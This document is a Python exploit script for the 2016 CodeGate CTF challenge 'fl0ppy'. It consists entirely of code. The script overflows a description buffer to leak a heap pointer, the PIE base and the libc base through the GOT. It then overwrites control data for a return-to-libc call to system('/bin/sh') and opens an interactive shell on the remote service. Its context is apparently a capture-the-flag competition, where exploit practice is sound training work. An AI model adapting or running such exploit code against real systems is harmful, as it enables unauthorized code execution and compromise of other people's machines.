2016 CodeGate fl0ppy exploit

from SunKn0wn import *
 
r = remote('192.168.179.135', 9999)
 
def choose(floppy_num):
    r.recvuntil('>\n')
    r.sendline('1')
    r.recvuntil('1 or 2?\n')
    r.sendline(str(floppy_num))
 
def write(data, description):
    r.recvuntil('>\n')
    r.sendline('2')
    r.recvuntil('data: \n')
    r.sendline(data)
    r.recvuntil('Description: \n')
    r.sendline(description)
 
def read():
    r.recvuntil('>\n')
    r.sendline('3')
 
def modify(modify_num, data = '', description = ''):
    r.recvuntil('>\n')
    r.sendline('4')
    r.recvuntil('1 Description | 2 Data\n')
    r.sendline(str(modify_num))
    if (modify_num == 1):
        r.recvuntil('Description: \n')
        r.sendline(description)
    else:
        r.recvuntil('Data: ')
        r.sendline(data)
 
def exit():
    r.recvuntil('>\n')
    r.sendline('5')
    r.recvuntil('=\n')
 
def attack():
    ##################### Variables #####################
    libc_start_got = 0x2730
    libc_start_lib = 0x19990
    system_lib = 0x40190
    floppy1 = 0
    init = 0x1160
    PIE_base = 0
    lib_base = 0
    binsh = 0x160A24
 
    ##################### Memory Leak #####################
    print "*** Stage1 ***"
    choose(1)
    write('5unKn0wn', 'pwned')
    modify(1, description = 'A' * 16)
    read()
    r.recvuntil('DESCRIPTION: ' + 'A' * 16)
    floppy1 = up32(r.recv(4))
    print "[*]floppy1 : " + hex(floppy1)
    modify(1, description = ('A' * 16 + p32(floppy1) + 'A' * 16))
    read()
    r.recvuntil('DESCRIPTION: ' + 'A' * 16 + p32(floppy1) + 'A' * 16)
    PIE_base = up32(r.recv(4)) - init
    print "[*]PIE_base : " + hex(PIE_base)
    choose(2)
    write('5unKn0wn', 'pwned')
    libc_start_got += PIE_base
    modify(1, description = 'A' * 20 + p32(libc_start_got))
    choose(1)
    read()
    r.recvuntil('DATA: ')
    lib_base = up32(r.recv(4)) - libc_start_lib
    system_lib += lib_base
    binsh += lib_base
    print "[*]lib_base : " + hex(lib_base)
    print "[*]system_lib : " + hex(system_lib)
    print "[*]/bin/sh : " + hex(binsh)
 
    ##################### RTL #####################
    print "\n*** Stage2 ***"
    choose(2)
    payload = p32(system_lib)
    payload += 'AAAA'
    payload += p32(binsh)    # /bin/sh
    modify(1, description = payload)
    choose(1)
    modify(1, description = p32(floppy1 - 0xc) * 9)
    exit()
    sleep(0.2)
    r.recv(1024)
    print "\n*** Get Shell ***"
    r.interactive()
    
attack()